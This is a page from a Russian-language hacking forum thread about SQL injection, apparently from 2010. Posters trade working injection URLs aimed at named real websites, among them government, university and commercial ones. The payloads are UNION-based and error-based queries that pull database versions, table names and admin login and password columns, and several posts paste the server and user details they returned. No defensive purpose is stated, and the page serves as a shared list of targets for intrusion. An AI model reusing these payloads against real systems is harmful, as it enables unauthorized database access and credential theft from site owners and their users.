SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 576 of 798
  1. _eXorcist_

    _eXorcist_ New Member

    Joined:
    24 Dec 2009
    Messages:
    69
    Likes Received:
    3
    Reputations:
    0
    Website : http://wdfw.wa.gov/lands/water_access/search/mobile_site.php?searchby=FacilityID+and+1=0+

    Database : phplistdb

    Table : phplist_admin

    loginname:password:passwordchanged:superuser:
     
    #11501 _eXorcist_, 12 Mar 2010
    Last edited by a moderator: 12 Mar 2010
    1 person likes this.
  2. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    http://www.web-standart.net/magaz.php?mid=1&rid=-8+union+select+1,2,group_concat(0x0b,login,0x3a,passwd)+from+users--

    http://www.arpk.org/page.php?i=-2+union+select+group_concat%280x0b,table_name%29,2,3,4+from+information_schema.tables--

    http://www.f1-world.ru/news/news.php3?idnews=-1003090020+union+select+1,group_concat(0x0b,NickName,0x3a,PassWd,0x3a,ICQ),3,4,5,6,7,8,9,10,11,12+from+fusers--

    http://cwar.holdgold.ru/page.php?id=-7+union+select+1,2,group_concat(0x0b,TABLE_NAME),4,5+from+information_schema.tables--

    http://www.mixcity.net/news/main.php?id=26&id_rub=-999999+union+select+group_concat%280x0b,table_name%29+from+information_schema.tables--&cpage=1
     
    #11502 Bramin, 13 Mar 2010
    Last edited: 13 Mar 2010
    1 person likes this.
  3. Strilo4ka

    Strilo4ka  

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    ..
     
    #11503 Strilo4ka, 13 Mar 2010
    Last edited: 14 Mar 2010
  4. SENIA

    SENIA Elder - Старейшина

    Joined:
    22 Nov 2008
    Messages:
    478
    Likes Received:
    232
    Reputations:
    1
    Code:
    http://www.datacd.ru/faq.php?id=-2+union+select+1,concat_ws(0x3a,username,password) ,3+from+main.usersadmin--
    Code:
    http://www.ecom-info.spb.ru/indicators/print.php?id=-428+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,version(),%2015,16,17,18,19,20,21,22,23,24,25,26--
    Code:
    http://www.fondsk.ru/print.php?id=-2171+union+select+1,2,3,4,5,version(),7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ,29,30--
    Code:
    http://dom-garazh.ru/base.php?id=-17+union+select+1,2,3,concat_ws(0x3a,user_login,user_pass)+from+girldays_allneft.wp_users--
     
    #11504 SENIA, 13 Mar 2010
  5. Paul_V

    Paul_V New Member

    Joined:
    8 Mar 2010
    Messages:
    3
    Likes Received:
    3
    Reputations:
    0
    http://dunfermline.info/diary/index?ID=1040&d=10&m=11&y=-2009'+union+select+concat_ws(0x3A,version(),user(),database()), 2,3+--+

    4.0.17-standard:sfl1_web159@localhost:sfl1_web159

    Продюсерский центр «Пирамида»
    в таблицах ничего нужного, но доступ есть.
    http://pyramidfilm.ru/project.php?id=-44'+union+select+1,2,3,table_name,5,6,7+from+information_schema.tables+where+table_schema=0x7A39313031355F303031+limit+0,1--+

    http://pyramidfilm.ru/project.php?id=-44'+union+select+1,2,3,concat_ws(0x3A,version(),user(),database()),5,6,7+--+

    5.0.32-Debian_7etch11-log:[email protected]:z91015_001
     
    #11505 Paul_V, 13 Mar 2010
    Last edited: 14 Mar 2010
  6. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    =\
     
    #11506 Ctacok, 14 Mar 2010
  7. sparcode

    sparcode New Member

    Joined:
    3 Jul 2008
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    http://novitex.com.ua
    Code:
    http://novitex.com.ua/index.php?brandID=136%20union%20select%20@@version--
     
    #11507 sparcode, 15 Mar 2010
  8. G1G

    G1G Banned

    Joined:
    4 Jun 2009
    Messages:
    24
    Likes Received:
    7
    Reputations:
    0
    Офф сайт группы Би-2

    Code:
    http://www.bdva.ru/arhiv.phtml?id=146+and+1=0+union+select+1,2,3,4,5,6,7,version(),9,10,11--
    PR 4 Тиц 900

    ----------------------------------
    PR 5
    Code:
    http://ebusiness.byu.edu/book_review.php?ID=19+and+1=0+union+select+1,2,3,version%28%29,5,6,7,8,9,10--
     
    #11508 G1G, 15 Mar 2010
    Last edited: 15 Mar 2010
    6 people like this.
  9. Dr..VATSON

    Dr..VATSON Elder - Старейшина

    Joined:
    7 Dec 2008
    Messages:
    52
    Likes Received:
    53
    Reputations:
    18
    http://ebusiness.byu.edu/book_review.php?ID=-19+union+select+1,2,3,table_name,5,6,7,8,9,10+from+information_schema.tables+limit+76,1%20--
     
    #11509 Dr..VATSON, 15 Mar 2010
  10. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    На основном домене

    http://www.stanford.edu/group/spatialhistory/cgi-bin/site/pub.php?id=-23+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+

    pr 9, тиц 4100
     
    #11510 v1d0qz, 15 Mar 2010
    Last edited: 15 Mar 2010
    6 people like this.
  11. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://www.yickyak.com/news.php?catid=9%27+and+(select+1+from+(select+count(0),concat((select+version()+from+debates+limit+1),floor(rand(0)*2))+from+debates+group+by+2+limit+1)a)+and+%27123%27=%27123
    version: 4.1.22-max-log1
    user: [email protected]
    database: yydbmain1
     
    #11511 Seravin, 16 Mar 2010
  12. Red_EYEs

    Red_EYEs Member

    Joined:
    7 Aug 2009
    Messages:
    32
    Likes Received:
    12
    Reputations:
    11
    круто но вот там доступны только таблицы касающиеся раздела. Ничего интересного в них нет.

    http://www.waterpump.com.ua/news.php?news_id=-61%20union%20select%201,2,3,VERSION(),USER(),6%20--
     
    #11512 Red_EYEs, 16 Mar 2010
    2 people like this.
  13. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    http://www.met-con.com/index.php

    Code:
    http://www.met-con.com/about/showEmp.php?id=1-1%20union%20select%201,group_concat(table_name),3,4,5,6,7,8%20from%20information_schema.tables--
    5.0.89-community


    PS: Вроде ниче интересного

    ______

    http://www.tshome.com.tw/news-con.php?id=1-1%20union%20select%201,version(),3,4,5,6%20--

    5.0.45-log

    Китайцы сцук

    ____________

    http://ocenshik.mostpp.ru/news.php?id=1-1%20union%20select%201,2,3,4,version(),6,7,8%20--

    4.0.27
    ТОП какой дебильный

    ______

    http://www.belt-wrestling.org/en/news.php?id=1-1%20union%20select%201,2,3,4,5,6,7,version(),9%20--

    4.1.22-standard

    Сайт - ресслеров.. Надеюсь не побьют..
    Таблиц не могу найти :(
    ________________
    http://electromash.net/news.php?id=1&page=141-141%20union%20select%201,2,3,4,version(),6,7,8,9%20--
    5.0.67-log

    ОО кое чето поинтереснее =)
    http://electromash.net/news.php?id=1&page=141-141%20union%20select%201,2,3,4,group_concat(column_name),6,7,8,9%20from%20information_schema.columns%20where%20table_name=0x61646d696e--
    Отсюда узнаем колоночки (username,password) Хотя я и не сомневался =)

    и Ну вобщем пароль нельзя выкладывать так что кому надо откопает сам
    Code:
    http://electromash.net/news.php?id=1&page=141-141%20union%20select%201,2,3,4,concat_ws(0x3a,username,password),6,7,8,9%20from%20admin--
    _________________

    http://www.sexshop24.ee/tm.php?id=1-1%20union%20select%20concat_ws(0x3a,ID,login,passwd)%20from%20ip_users%20--
    5.0.67-log
     
    #11513 Assembler, 16 Mar 2010
    Last edited: 16 Mar 2010
    2 people like this.
  14. Dr..VATSON

    Dr..VATSON Elder - Старейшина

    Joined:
    7 Dec 2008
    Messages:
    52
    Likes Received:
    53
    Reputations:
    18
    HTML:
    http://www.bilyardia.ru/zeus.catalog.phtml?idTowar=-41+union+select+1,2,user%28%29,4,version%28%29,6,7,8,9,10%20--
    ТИЦ = 190

    4.0.27-max-log
    [email protected]
     
    #11514 Dr..VATSON, 17 Mar 2010
    2 people like this.
  15. Lam3rsha

    Lam3rsha Member

    Joined:
    25 Oct 2008
    Messages:
    36
    Likes Received:
    8
    Reputations:
    5
    http://www.cmb.su/index.php?nomer=58'+UNION+SELECT+1,2,3,4,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),6,7,8,9,10+LIMIT+1, 1/*

    Database Version: 5.0.45
    User name: baltimed@localhost




    http://www.dogshop.lv/index.php?part=3&part2=79+union+select+1,2,3,user(),5,6,7,8,9,10+limit+1, 1/*

    Database Version: 4.1.21-standard
    User name: dogusr24@localhost
     
    #11515 Lam3rsha, 17 Mar 2010
    Last edited: 17 Mar 2010
    2 people like this.
  16. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    _http://ru-board.com
    Code:
    http://ru-board.com/new/article.php?sid=108+and+1=2+UNION+SELECT+1,2,3,concat(database(),0x3a,user(),0x3a,version()),5,6,7,8,9,10+--+
    phpnuke: phpnuke@localhost: 5.0.77
     
    #11516 Seravin, 17 Mar 2010
    4 people like this.
  17. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,183
    Likes Received:
    618
    Reputations:
    690
    это вроде уже боян хотя в другом скрипте скуля...
    Code:
    http://ru-board.com/new/search.php?author=-lynx%27+union+select+1,2,3,concat_ws%28%27.%27,table_schema,table_name,column_name%29,5,6,7,8,9,10+from+information_schema.columns+--+
     
    _________________________
    #11517 shell_c0de, 17 Mar 2010
    4 people like this.
  18. Strilo4ka

    Strilo4ka  

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    5.0.45:labstend@localhost:rosuch_cms
     
    #11518 Strilo4ka, 17 Mar 2010
    2 people like this.
  19. Dr..VATSON

    Dr..VATSON Elder - Старейшина

    Joined:
    7 Dec 2008
    Messages:
    52
    Likes Received:
    53
    Reputations:
    18
    грузинский сайт

    ТИЦ = 190

    Code:
    http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+1,2,3,4,5,6,7,8+--+
     
    #11519 Dr..VATSON, 18 Mar 2010
    1 person likes this.
  20. Strilo4ka

    Strilo4ka  

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    Code:
    http://www.cellvision.com/index.php?menu_id=2+&node_id=50+and+0+union+select+1,2,3,4,users.*,1+from+users+limit+0,1/*
http://www.cellvision.com/index.php?menu_id=2+&node_id=50+and+0+union+select+1,2,3,4,1,users.*+from+users+limit+0,1/*
http://www.cellvision.com/index.php?menu_id=2+&node_id=50+and+0+union+select+1,2,3,users.*,1,1+from+users+limit+0,1/*
http://www.cellvision.com/index.php?menu_id=2+&node_id=50+and+0+union+select+1,2,users.*,1,1,1+from+users+limit+0,1/*
    © рибака
     
    #11520 Strilo4ka, 18 Mar 2010
(You must log in or sign up to post here.)
Page 576 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.